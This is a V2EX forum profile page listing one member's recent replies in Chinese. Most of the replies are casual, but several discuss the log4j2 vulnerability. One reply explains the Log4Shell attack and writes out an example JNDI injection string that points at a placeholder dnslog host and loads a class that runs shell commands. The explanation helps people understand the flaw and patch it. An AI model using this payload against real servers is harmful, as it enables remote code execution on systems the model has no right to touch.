ixx 最近的时间轴更新
ixx

ixx

V2EX 第 124943 号会员,加入于 2015-06-30 19:14:05 +08:00
今日活跃度排名 2365
根据 ixx 的设置,主题列表只有在你登录之后才可查看
二手交易 相关的信息,包括已关闭的交易,不会被隐藏
ixx 最近回复了
6 天前
回复了 youyoumarco 创建的主题 互联网 想知道大家对现在“元宇宙”怎么看
@eason1874 #24 800MB+? 是说 QQ 吗 🙈
6 天前
回复了 beeyoung 创建的主题 程序员 凌晨四点 海棠花未眠
“没有可检查的对象” 😂
故事要从第一个 springboot demo 开始.....
哈哈有几个电影反复出现在大家的最好和最烂里 😂
9 点左右好像就挂了访问好像一直是一个 cdn 缓存页面,提示原站下线了……
@ccming #60 奇怪的配列 😄
39 天前
回复了 Jooooooooo 创建的主题 程序员 log4j2 的漏洞大家今天晚上修复吗?
@vincent956 #79 springboot 默认是没有影响的
40 天前
回复了 eviladan0s 创建的主题 Java 颤抖吧 Javaer, log4j 史诗级漏洞
@sagaxu #13 确认了一下 参数传入也会触发
40 天前
回复了 Jooooooooo 创建的主题 程序员 log4j2 的漏洞大家今天晚上修复吗?
@jinzhongyuan #13 通俗点说一下问题

一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数

如果前台传的是构造的参数如: ${jndi:ldap://xxxx.dnslog.cn/exp}

exp 返回的是一个构造方法里执行 shell 代码的 class 文件

然后你设置的什么命令服务器接收到参数后就执行这个命令了
关于   ·   帮助文档   ·   API   ·   FAQ   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   1189 人在线   最高记录 5497   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 10ms · UTC 19:28 · PVG 03:28 · LAX 11:28 · JFK 14:28
♥ Do have faith in what you're doing.